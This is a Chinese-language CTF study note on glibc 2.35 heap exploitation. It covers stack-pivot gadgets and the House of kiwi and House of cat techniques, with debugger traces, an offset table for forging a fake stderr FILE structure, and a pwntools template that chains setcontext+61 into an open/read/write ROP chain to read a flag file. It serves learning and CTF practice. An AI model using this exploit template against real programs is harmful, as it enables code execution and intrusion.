1. 常用的gadgets

1.1 setcontext + 61

[rdx+0xa0]是rsp,[rdx+0xa8]是rcx,栈迁移用,需要能控制rdx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
0x7fe165955a6d <setcontext+61> mov rsp, qword ptr [rdx + 0xa0]
0x7fe165955a74 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7fe165955a7b <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
0x7fe165955a7f <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7fe165955a83 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7fe165955a87 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7fe165955a8b <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7fe165955a8f <setcontext+95> test dword ptr fs:[0x48], 2
0x7fe165955a9b <setcontext+107> je setcontext+294 <setcontext+294>
......
0x7fe165955b56 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7fe165955b5d <setcontext+301> push rcx
0x7fe165955b5e <setcontext+302> mov rsi, qword ptr [rdx + 0x70]
0x7fe165955b62 <setcontext+306> mov rdi, qword ptr [rdx + 0x68]
0x7fe165955b66 <setcontext+310> mov rcx, qword ptr [rdx + 0x98]
0x7fe165955b6d <setcontext+317> mov r8, qword ptr [rdx + 0x28]
0x7fe165955b71 <setcontext+321> mov r9, qword ptr [rdx + 0x30]
0x7fe165955b75 <setcontext+325> mov rdx, qword ptr [rdx + 0x88]
0x7fe165955b7c <setcontext+332> xor eax, eax
0x7fe165955b7e <setcontext+334> ret

1.2 svcudp_reply + 26(glibc2.35没有)

rdi+0x48处保存rbp,然后rbp+0x18处保存leave_ret的地址,可以栈迁移,需要可以控制rdi。

1
2
3
4
5
6
7
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
0x7ffff7f1500a <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
0x7ffff7f1500e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7ffff7f15012 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7ffff7f15016 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7ffff7f1501d <svcudp_reply+45>: mov rdi,r13
0x7ffff7f15020 <svcudp_reply+48>: call QWORD PTR [rax+0x28]

1.3其他好用的gadgets

上面两个用不了的时候从这里找

  • 通过rdi控制rax,并call。
1
2
3
4
0x000000000015d65a : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x10]
0x000000000015d5c1 : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
0x00000000001673c9 : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
0x000000000015d50c : mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]
  • 通过rdx控制rsp。
1
0x000000000005a170 : mov rsp, rdx ; ret
  • 通过rdi控制rdx,通过rax控制rsp,调用rdx(也可以栈迁移)
1
0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

这些gadgets在libc.so中的偏移用ROPgadget寻找,保存在文本文件’gadgets’中然后Ctrl+F搜索。

1
ROPgadget --binary <libc.so.name> --only 'pop|ret|leave|mov|call' > gadgets

2. House of kiwi

程序无通过main或者exit函数返回,不触发fcloseall函数,此时要触发__malloc_assert函数。通过修改top chunk的size来触发,满足如下条件即可:

1
2
3
4
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

old_size >= 0x20;
old_top.prev_inuse = 0;
old_top页对齐。

1
2
3
4
5
6
7
8
9
10
11
12
13
//In file: /home/wbohan/Desktop/glibc-2.35/malloc/malloc.c
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);//<-------------------
abort ();
}

3. House of cat

用kiwi的__malloc_assert调用原理,但这次进入的是__fxprintf的分支,而不是fflush(stderr)。但内部仍然调用stderr,调试后可以看到源码从_IO_wfile_seekoff开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
───────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
0x7fba42d52ecb <_IO_wfile_seekoff+11> push r13
0x7fba42d52ecd <_IO_wfile_seekoff+13> push r12
0x7fba42d52ecf <_IO_wfile_seekoff+15> push rbp
0x7fba42d52ed0 <_IO_wfile_seekoff+16> push rbx
0x7fba42d52ed1 <_IO_wfile_seekoff+17> sub rsp, 0xc8
► 0x7fba42d52ed8 <_IO_wfile_seekoff+24> mov rax, qword ptr [rdi + 0xa0]
0x7fba42d52edf <_IO_wfile_seekoff+31> test ecx, ecx
0x7fba42d52ee1 <_IO_wfile_seekoff+33> je _IO_wfile_seekoff+1040 <_IO_wfile_seekoff+1040>

0x7fba42d532d0 <_IO_wfile_seekoff+1040> cmp qword ptr [rax + 0x30], 0
0x7fba42d532d5 <_IO_wfile_seekoff+1045> je _IO_wfile_seekoff+1472 <_IO_wfile_seekoff+1472>

0x7fba42d53480 <_IO_wfile_seekoff+1472> xor ebx, ebx
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────
In file: /home/wbohan/Desktop/glibc-2.35/libio/wfileops.c
741 _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
742 {
743 off64_t result;
744 off64_t delta, new_offset;
745 long int count;
746
747 /* Short-circuit into a separate function. We don't want to mix any
748 functionality and we don't want to touch anything inside the FILE
749 object. */
► 750 if (mode == 0)
751 return do_ftell_wide (fp);
752
753 /* POSIX.1 8.2.3.7 says that after a call the fflush() the file
754 offset of the underlying file must be exact. */
755 int must_be_exact = ((fp->_wide_data->_IO_read_base

第一个绕过的保护mode!=0rdi = *stderr ; mode = qword ptr [rdi + 0xa0];
经过调试发现还会进入第二次_IO_wfile_seekoff,第二次进入时,mode仍然是qword ptr [rdi + 0xa0];不过这次会有第二个需要绕过的保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
RAX 0x56418c3af2c0 ◂— 0x0
RBX 0x0
RCX 0x6d0
RDX 0x3
RDI 0x56418c3af290 ◂— 0x0
RSI 0x7ffded8e4c80 ◂— 0x7700000070 /* 'p' */
R8 0x0
R9 0x7ffded8e4aa8 ◂— 0x2bee0
R10 0x4
R11 0x7ffded8e4af0 —▸ 0x7ffded8e7354 ◂— 'SHELL=/bin/bash'
*R12 0x3
R13 0x3
R14 0x7ffded8e4c78 ◂— 0x0
R15 0x56418c3af290 ◂— 0x0
RBP 0x56418c3af290 ◂— 0x0
RSP 0x7ffded8e4b30 ◂— 0x600000001
*RIP 0x7f186c4c3eea (_IO_wfile_seekoff+42) ◂— mov rcx, qword ptr [rax + 0x20]
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
0x7f186c4c3ed1 <_IO_wfile_seekoff+17> sub rsp, 0xc8
0x7f186c4c3ed8 <_IO_wfile_seekoff+24> mov rax, qword ptr [rdi + 0xa0]
0x7f186c4c3edf <_IO_wfile_seekoff+31> test ecx, ecx
0x7f186c4c3ee1 <_IO_wfile_seekoff+33> je _IO_wfile_seekoff+1040
0x7f186c4c3ee7 <_IO_wfile_seekoff+39> mov r12d, edx
0x7f186c4c3eea <_IO_wfile_seekoff+42> mov rcx, qword ptr [rax + 0x20]
0x7f186c4c3eee <_IO_wfile_seekoff+46> mov rdx, qword ptr [rax + 0x18]
......
0x7f186c4c3f0b <_IO_wfile_seekoff+75> cmp rcx, rdx
► 0x7f186c4c3f0e <_IO_wfile_seekoff+78> jbe _IO_wfile_seekoff+656 <_IO_wfile_seekoff+656>
0x7f186c4c3f14 <_IO_wfile_seekoff+84> mov rdi, r15
0x7f186c4c3f17 <_IO_wfile_seekoff+87> call _IO_switch_to_wget_mode <_IO_switch_to_wget_mode>
──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/wbohan/Desktop/glibc-2.35/libio/wfileops.c
► 760 bool was_writing = ((fp->_wide_data->_IO_write_ptr
761 > fp->_wide_data->_IO_write_base)
762 || _IO_in_put_mode (fp));
763
...
771 if (was_writing && _IO_switch_to_wget_mode (fp))
772 return WEOF;

后面需要进入_IO_switch_to_wget_mode进行调用,所以必须让was_writing为真,所以fp->_wide_data->_IO_write_ptr大于fp->_wide_data->_IO_write_base。
fp->_wide_data = rax = [rdi + 0xa0];fp->_wide_data->_IO_write_ptr = [rax + 0x20] = rcx;fp->_wide_data->_IO_write_base = [rax + 0x18] = rdx;
然后会进入_IO_switch_to_wget_mode中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
──────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
注意看,函数第一个参数是fp,就是我们的fake_io,所以这里的rdi就是fp。
0x7fd68b09c744 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f186c4c274b <_IO_switch_to_wget_mode+11> push rbx
0x7f186c4c274c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f186c4c274f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f186c4c2753 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f186c4c2757 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

► 0x7f186c4c2759 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f186c4c2760 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f186c4c2765 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

0x7f186c4c2768 <_IO_switch_to_wget_mode+40> cmp eax, -1
0x7f186c4c276b <_IO_switch_to_wget_mode+43> je _IO_switch_to_wget_mode+99 <_IO_switch_to_wget_mode+99>

0x7f186c4c276d <_IO_switch_to_wget_mode+45> mov rax, qword ptr [rbx + 0xa0]
───────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/wbohan/Desktop/glibc-2.35/libio/wgenops.c
389
390 int
391 _IO_switch_to_wget_mode (FILE *fp)
392 {
393 if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
► 394 if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
395 return EOF;

经过调试,进入这个函数后有一些重复的操作,比如rax赋值为fp->_wide_data、检查fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。但需要注意在函数内重新将rdx赋值为[rax + 0x20],之前是[rax + 0x18]。 tmp = [rax+0xe0],call [tmp+0x18]。
最后让rdx指向堆,内部伪造一些寄存器,tmp + 0x18是setcontext + 61即可rop。

总结调用链、保护绕过和伪造内容:

  • 调用链:
    __malloc_assert
    —>__fxprintf
    ——->_IO_wfile_jumps的vtable
    ———–>_IO_wfile_seekoff
    —————>_IO_switch_to_wget_mode
  • 绕过保护(下面的结构体都假设为char *)
    mode != 0,fp->_mode设置为1好像就行了。
  • fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    _wide_data在fp中的偏移是0xa0,将这个值设为&fp + 0x30,那么- fp->_wide_data->_IO_write_ptr = &fp + 0x50,fp->_IO_write_base = &fp + 0x48。那么这两个值的位置正好是fp->_IO_backup_base和fp->_IO_save_base。所以后面_IO_backup_base应该设为rdx,是非0的,_IO_save_base默认填充为0即可,这个保护也不需要特意绕过。
  • 伪造内容
    _IO_switch_to_wget_mode中,我们发现了rax先被赋值为了fp[0xa0],就是fp->_wide_data。然后被赋值为了rax = _wide_data[0xe0]。最后调用了[rax + 0x18]。如果_wide_data[0xe0]设置为&fp + 0x40,即fp[0xe0 + 0x30] = &fp + 0x40,那么最后调用的就是&fp + 0x58,正好对应了fp->_IO_save_end。对了,别忘了把fp->vtable设置成_IO_wfile_jumps+0x10,这是FSOP的最开始的一步。

在此假设情况下,我们总结一下fake_io应该如何构造,注意,我我们的fake_io结构体和wide_data结构体是重叠的,这样节省空间。这里已经假设_wide_data保存在&fp + 0x30处,_wide_data的vtable(0xe0偏移)保存在&fp + 0x40处。

offset_wide_data = 0x30
offset_wide_data->vtable = 0x40
同时假设rdx设置为&fp + 0x120,rsp设置为&fp + 0x200,

偏移量 内容 含义 fp->?
0x50(offset_wide_data + 0x20) fake_io + 0x120 setcontext+61时的rdx,放堆地址,伪造寄存器srop fp->_IO_backup_base
0x58(offset_wide_data->vtable + 0x18) libc.sym[‘setcontext’]+61 _IO_switch_to_wget_mode时ret这个 fp->_IO_save_base
0x88 fake_io+0x1000 听说_lock必须可写,没有调这个,没啥影响就随便放个地址,这个写了总归不会出问题 fp->_lock
0xa0 fake_io+0x30 设成这个值方便 fp->_wide_data
0xc0 1 mode设置为1不然不行,没调 fp->_mode
0xd8 libc.sym[‘_IO_wfile_jumps’]+0x10 万里长征第一步,_IO_FILE_plus的vtable fp->vtable
0x110(offset_wide_data + 0x30) fake_io + 0x40 _wide_data的vtable,为了0x58偏移量而写的值 fp->_wide_data->vtable
0x1c0(0x120 + 0xa0) fake_io + 0x200 setcontext+61后的rsp ^
0x1c8(0x120 + 0xa8) &ret setcontext+61后的rcx,ret ^
0x1d0 b’./flag.txt’ flag文件名 ^
0x200 rop链 执行的rop链 ^
简洁的模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
fake_io_addr = heap_base + 0x290
flag_str_addr = fake_io_addr + 0x1d0
flag_content_addr = heap_base + 0x600

rop_chain = p64(rdi) + p64(flag_str_addr) + p64(libc.sym['open']) #open("./flag.txt",0);
rop_chain += p64(rdi) + p64(3) + p64(rsi) + p64(flag_content_addr) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read'])#read(3,flag_addr2,0x50);
rop_chain += p64(rdi) + p64(1) + p64(libc.sym['write'])#write(1,flag_addr2,0x50);

fake_stderr = flat({
0x50: p64(fake_io_addr + 0x120),
0x58: p64(libc.sym['setcontext'] + 61),
0x88: p64(fake_io_addr + 0x1000),
0xa0: p64(fake_io_addr + 0x30),
0xc0: p64(1),
0xd8: p64(libc.sym['_IO_wfile_jumps'] + 0x10),
0x110:p64(fake_io_addr + 0x40),
#srop
0x1c0:p64(fake_io_addr + 0x200),
0x1c8:p64(ret),
0x1d0:b'./flag.txt',
#rop
0x200:rop_chain
},filler='\0')

上面的模板中我们把fp->_wide_data设置成了&fp + 0x30,fp->_wide_data设置成了&fp + 0x40,rdx设置成了&fp + 0x120,rsp设置成了&fp + 0x200,flag文件名保存在&fp + 0x1d0处,flag内容保存在&fp + 0x600处。